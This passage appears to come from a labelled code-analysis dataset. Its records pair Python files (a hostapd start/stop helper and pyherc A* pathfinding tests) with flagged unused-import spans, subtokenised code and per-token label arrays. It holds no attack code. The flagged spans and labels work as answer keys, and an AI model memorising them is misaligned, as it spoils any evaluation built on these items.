conf[section].has_key('EXIT_SCRIPT'):\n\t\t\tmake_dirs(conf[section])\n\t\t\tprint 'Executing %s for [%s]...' % (conf[section]['EXIT_SCRIPT'], section),\n\t\t\tret = subprocess.call(conf[section]['EXIT_SCRIPT'], env=env_dict)\n\t\t\tif ret == 0:\n\t\t\t\tprint 'Done!'\n\t\t\telse:\n\t\t\t\tprint 'Failed!'\n\t\t\t\texit_error('[ERROR] Failed to exit [%s], check log file %s' % (section, conf[section]['LOGFILE']))", "metadata": "root.stop_hostapd", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def restart_hostapd():\n\tstop_hostapd()\n\t# Workaround for issues with dhcpd\n\tsleep(2)\n\n\tstart_hostapd()", "metadata": "root.restart_hostapd", "header": "['module', '___EOS___']", "index": 52 } ]
[ { "span": "import subprocess, config, sys, config_gen, shlex, os, errno", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 60 }, { "span": "from common_methods import exit_script, exit_error", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 50 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", "2.7", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "subprocess_", ",_", "config_", ",_", "sys_", ",_", "config", "\\u", "gen_", ",_", "shlex_", ",_", "os_", ",_", "errno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "time_", "import_", "sleep_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "common", "\\u", "methods_", "import_", "exit", "\\u", "script_", ",_", "exit", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "config", "\\u", "hostap", "d_", "import_", "generat", "e\\u", "confs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "make", "\\u", "dirs_", "(_", "conf_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "conf_", "._", "has", "\\u", "key_", "(_", "'", "LOG", "FILE", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "dirname_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "conf_", "[_", "'", "LOG", "FILE", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "os_", "._", "makedirs_", "(_", "dirname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "exc_", "._", "errno_", "!=_", "errno_", "._", "EE", "XIST", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "hostap", "d_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "generat", "e\\u", "confs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conf_", "=_", "config", "\\u", "gen_", "._", "get", "\\u", "config_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env", "\\u", "tup", "s_", "=_", "[_", "(_", "section_", "+_", "'\\u'_", "+_", "key_", ",_", "val_", ")_", "for_", "section_", "in_", "conf_", "._", "keys_", "(_", ")_", "for_", "key_", ",_", "val_", "in_", "conf_", "[_", "section_", "]_", "._", "items_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env", "\\u", "dict_", "=_", "dict_", "(_", "os_", "._", "environ_", "._", "items_", "(_", ")_", "+_", "env", "\\u", "tup", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "Start", "ing", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "section_", "in_", "config_", "._", "script", "\\u", "order_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "conf_", "[_", "section_", "]_", "._", "has", "\\u", "key_", "(_", "'", "SCRIPT", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "make", "\\u", "dirs_", "(_", "conf_", "[_", "section_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Execut", "ing", " ", "%", "s", " ", "for", " ", "[", "%", "s", "].", "..'_", "%_", "(_", "conf_", "[_", "section_", "]_", "[_", "'", "SCRIPT", "'_", "]_", ",_", "section_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "subprocess_", "._", "call_", "(_", "conf_", "[_", "section_", "]_", "[_", "'", "SCRIPT", "'_", "]_", ",_", "env_", "=_", "env", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "print_", "'", "Don", "e", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "print_", "'", "Fail", "ed", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exit", "\\u", "error_", "(_", "'[", "ERROR", "]", " ", "Fail", "ed", " ", "to", " ", "initiate", " ", "[", "%", "s", "],", " ", "check", " ", "log", " ", "file", " ", "%", "s", "'_", "%_", "(_", "section_", ",_", "conf_", "[_", "section_", "]_", "[_", "'", "LOG", "FILE", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "\\u", "hostap", "d_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "conf_", "=_", "config", "\\u", "gen_", "._", "get", "\\u", "config_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env", "\\u", "tup", "s_", "=_", "[_", "(_", "section_", "+_", "'\\u'_", "+_", "key_", ",_", "val_", ")_", "for_", "section_", "in_", "conf_", "._", "keys_", "(_", ")_", "for_", "key_", ",_", "val_", "in_", "conf_", "[_", "section_", "]_", "._", "items_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env", "\\u", "dict_", "=_", "dict_", "(_", "os_", "._", "environ_", "._", "items_", "(_", ")_", "+_", "env", "\\u", "tup", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "Stopp", "ing", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "section_", "in_", "config_", "._", "script", "\\u", "order_", "[_", ":_", ":_", "-_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "conf_", "[_", "section_", "]_", "._", "has", "\\u", "key_", "(_", "'", "EXIT", "\\u", "SCRIPT", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "make", "\\u", "dirs_", "(_", "conf_", "[_", "section_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Execut", "ing", " ", "%", "s", " ", "for", " ", "[", "%", "s", "].", "..'_", "%_", "(_", "conf_", "[_", "section_", "]_", "[_", "'", "EXIT", "\\u", "SCRIPT", "'_", "]_", ",_", "section_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "subprocess_", "._", "call_", "(_", "conf_", "[_", "section_", "]_", "[_", "'", "EXIT", "\\u", "SCRIPT", "'_", "]_", ",_", "env_", "=_", "env", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "print_", "'", "Don", "e", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "print_", "'", "Fail", "ed", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exit", "\\u", "error_", "(_", "'[", "ERROR", "]", " ", "Fail", "ed", " ", "to", " ", "exit", " ", "[", "%", "s", "],", " ", "check", " ", "log", " ", "file", " ", "%", "s", "'_", "%_", "(_", "section_", ",_", "conf_", "[_", "section_", "]_", "[_", "'", "LOG", "FILE", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "restart", "\\u", "hostap", "d_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "stop", "\\u", "hostap", "d_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Work", "aro", "und", " ", "for", " ", "issue", "s", " ", "with", " ", "dhcp", "d_", "\\u\\u\\uNL\\u\\u\\u_", "sleep_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "hostap", "d_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
tuturto/pyherc/src/pyherc/test/unit/test_pathfinding.py
[ { "content": "# -*- coding: utf-8 -*-\n\n# Copyright (c) 2010-2015 Tuukka Turto\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"\ntests for path finding\n\"\"\"\nfrom random import Random\n\nfrom hamcrest import assert_that, contains, is_\nfrom mockito import mock\nfrom pyherc.ai import a_star\nfrom pyherc.config.dsl import LevelContext\nfrom pyherc.data import Portal, Model, find_free_space, wall_tile\nfrom pyherc.data.geometry import free_locations_around\nfrom pyherc.generators.level.partitioners import grid_partitioning\nfrom pyherc.generators.level.portal import PortalAdder\nfrom pyherc.generators.level.room.catacombs import CatacombsGenerator\nfrom pyherc.test.builders import LevelBuilder\nfrom pyherc.test.matchers import continuous_path\n\nFLOOR_TILE = 100\nWALL_TILE = 200\nEMPTY_TILE = None\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestAStar():\n \"\"\"\n Tests for A* path finding\n \"\"\"\n\n", "metadata": "root.TestAStar", "header": "['module', '___EOS___']", "index": 43 }, { "content": " def __init__(self):\n \"\"\"\n Default constructor\n \"\"\"\n super().__init__()", "metadata": "root.TestAStar.__init__", "header": "['class', 'TestAStar', '(', ')', ':', '___EOS___']", "index": 47 }, { "content": " def test_simple_path(self):\n \"\"\"\n Test that a simple path can be found\n \"\"\"\n level = (LevelBuilder()\n .with_floor_tile(FLOOR_TILE)\n .with_wall_tile(EMPTY_TILE)\n .with_solid_wall_tile(WALL_TILE)\n .build())\n\n path, connections, updated = a_star(start = (1, 1),\n goal = (5, 1),\n a_map = level,\n adjacent_nodes = free_locations_around)\n\n assert_that(path, contains((1, 1),\n (2, 1),\n (3, 1),\n (4, 1),\n (5, 1)))", "metadata": "root.TestAStar.test_simple_path", "header": "['class', 'TestAStar', '(', ')', ':', '___EOS___']", "index": 53 }, { "content": " def test_going_around_wall(self):\n \"\"\"\n Test that path can be found around a wall\n \"\"\"\n level = (LevelBuilder()\n .with_floor_tile(FLOOR_TILE)\n .with_wall_tile(EMPTY_TILE)\n .with_solid_wall_tile(WALL_TILE)\n .with_wall_at((12, 8))\n .with_wall_at((12, 9))\n .with_wall_at((12, 10))\n .with_wall_at((12, 11))\n .with_wall_at((12, 12))\n .with_size((20, 20))\n .build())\n\n path, connections, updated = a_star(start = (10, 10),\n goal = (15, 10),\n a_map = level,\n adjacent_nodes = free_locations_around)\n\n assert_that(path, is_(continuous_path(start = (10, 10),\n destination = (15, 10),\n level = level)))", "metadata": "root.TestAStar.test_going_around_wall", "header": "['class', 'TestAStar', '(', ')', ':', '___EOS___']", "index": 74 } ]
[ { "span": "from random import Random", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 25 }, { "span": "from mockito import mock", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 24 }, { "span": "from pyherc.config.dsl import LevelContext", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 42 }, { "span": "from pyherc.data import Portal, Model, find_free_space, wall_tile", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 65 }, { "span": "from pyherc.generators.level.partitioners import grid_partitioning", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 66 }, { "span": "from pyherc.generators.level.portal import PortalAdder", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 54 }, { "span": "from pyherc.generators.level.room.catacombs import CatacombsGenerator", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 69 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", "-", "201", "5", " ", "Tu", "uk", "ka", " ", "Tur", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Permi", "ssion", " ", "is", " ", "here", "by", " ", "grant", "ed", ",", " ", "free", " ", "of", " ", "charge", ",", " ", "to", " ", "any", " ", "person", " ", "obtain", "ing", " ", "a", " ", "copy_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "this", " ", "software", " ", "and", " ", "associate", "d", " ", "documentation", " ", "files", " ", "(", "the", " ", "\"", "Sof", "twa", "re", "\")", ",", " ", "to", " ", "deal", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "Sof", "twa", "re", " ", "with", "out", " ", "restriction", ",", " ", "inclu", "ding", " ", "with", "out", " ", "limit", "ation", " ", "the", " ", "rights_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "use", ",", " ", "copy", ",", " ", "modif", "y", ",", " ", "merge", ",", " ", "publi", "sh", ",", " ", "distribute", ",", " ", "subli", "cens", "e", ",", " ", "and", "/", "or", " ", "sell", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copie", "s", " ", "of", " ", "the", " ", "Sof", "twa", "re", ",", " ", "and", " ", "to", " ", "permit", " ", "person", "s", " ", "to", " ", "who", "m", " ", "the", " ", "Sof", "twa", "re", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "nish", "ed", " ", "to", " ", "do", " ", "so", ",", " ", "subject", " ", "to", " ", "the", " ", "follow", "ing", " ", "condition", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "above", " ", "copyr", "ight", " ", "notice", " ", "and", " ", "this", " ", "permissi", "on", " ", "notice", " ", "sha", "ll", " ", "be", " ", "include", "d", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "all", " ", "copie", "s", " ", "or", " ", "substa", "nti", "al", " ", "porti", "ons", " ", "of", " ", "the", " ", "Sof", "twa", "re", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "\"", "AS", " ", "IS", "\",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TY", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "EXPR", "ESS", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPL", "IED", ",", " ", "INC", "LU", "DING", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", " ", "THE", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "AND", " ", "NON", "INF", "RING", "EME", "NT", ".", " ", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AUTHOR", "S", " ", "OR", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "CLA", "IM", ",", " ", "DA", "MAGE", "S", " ", "OR", " ", "OTHER", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "AN", " ", "ACTI", "ON", " ", "OF", " ", "CONTR", "ACT", ",", " ", "TOR", "T", " ", "OR", " ", "OTHER", "WI", "SE", ",", " ", "ARI", "SIN", "G", " ", "FROM", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "OUT", " ", "OF", " ", "OR", " ", "IN", " ", "CONNECTION", " ", "WITH", " ", "THE", " ", "SOFT", "WARE", " ", "OR", " ", "THE", " ", "USE", " ", "OR", " ", "OTHER", " ", "DEA", "LING", "S", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "tests", " ", "for", " ", "path", " ", "finding", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "random_", "import_", "Random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "ham", "cres", "t_", "import_", "assert", "\\u", "that_", ",_", "contains_", ",_", "is\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mock", "ito", "_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "ai_", "import_", "a", "\\u", "star_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "config_", "._", "dsl_", "import_", "Leve", "l", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "data_", "import_", "Porta", "l_", ",_", "Model_", ",_", "find", "\\u", "free", "\\u", "space_", ",_", "wall", "\\u", "tile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "data_", "._", "geometry_", "import_", "free", "\\u", "location", "s", "\\u", "around_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "generators_", "._", "level_", "._", "partitione", "rs_", "import_", "grid", "\\u", "partitioning", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "generators_", "._", "level_", "._", "portal_", "import_", "Porta", "l", "Add", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "generators_", "._", "level_", "._", "room_", "._", "cata", "comb", "s_", "import_", "Cata", "comb", "s", "Generator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "test_", "._", "builders_", "import_", "Leve", "l", "Builder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "erc_", "._", "test_", "._", "matchers_", "import_", "continuous", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FLO", "OR", "\\u", "TILE", "_", "=_", "100_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WALL", "\\u", "TILE", "_", "=_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "EMP", "TY", "\\u", "TILE", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "AS", "tar_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "for", " ", "A", "*", " ", "path", " ", "finding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "AS", "tar_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Default", " ", "construct", "or", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "AS", "tar_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "simple", "\\u", "path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "a", " ", "simple", " ", "path", " ", "can", " ", "be", " ", "found", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "level_", "=_", "(_", "Leve", "l", "Builder_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "floor", "\\u", "tile_", "(_", "FLO", "OR", "\\u", "TILE", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "tile_", "(_", "EMP", "TY", "\\u", "TILE", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "solid", "\\u", "wall", "\\u", "tile_", "(_", "WALL", "\\u", "TILE", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "build_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "path_", ",_", "connections_", ",_", "updated_", "=_", "a", "\\u", "star_", "(_", "start_", "=_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "goal_", "=_", "(_", "5_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a", "\\u", "map_", "=_", "level_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "adjacent", "\\u", "nodes_", "=_", "free", "\\u", "location", "s", "\\u", "around_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "that_", "(_", "path_", ",_", "contains_", "(_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "2_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "3_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "4_", ",_", 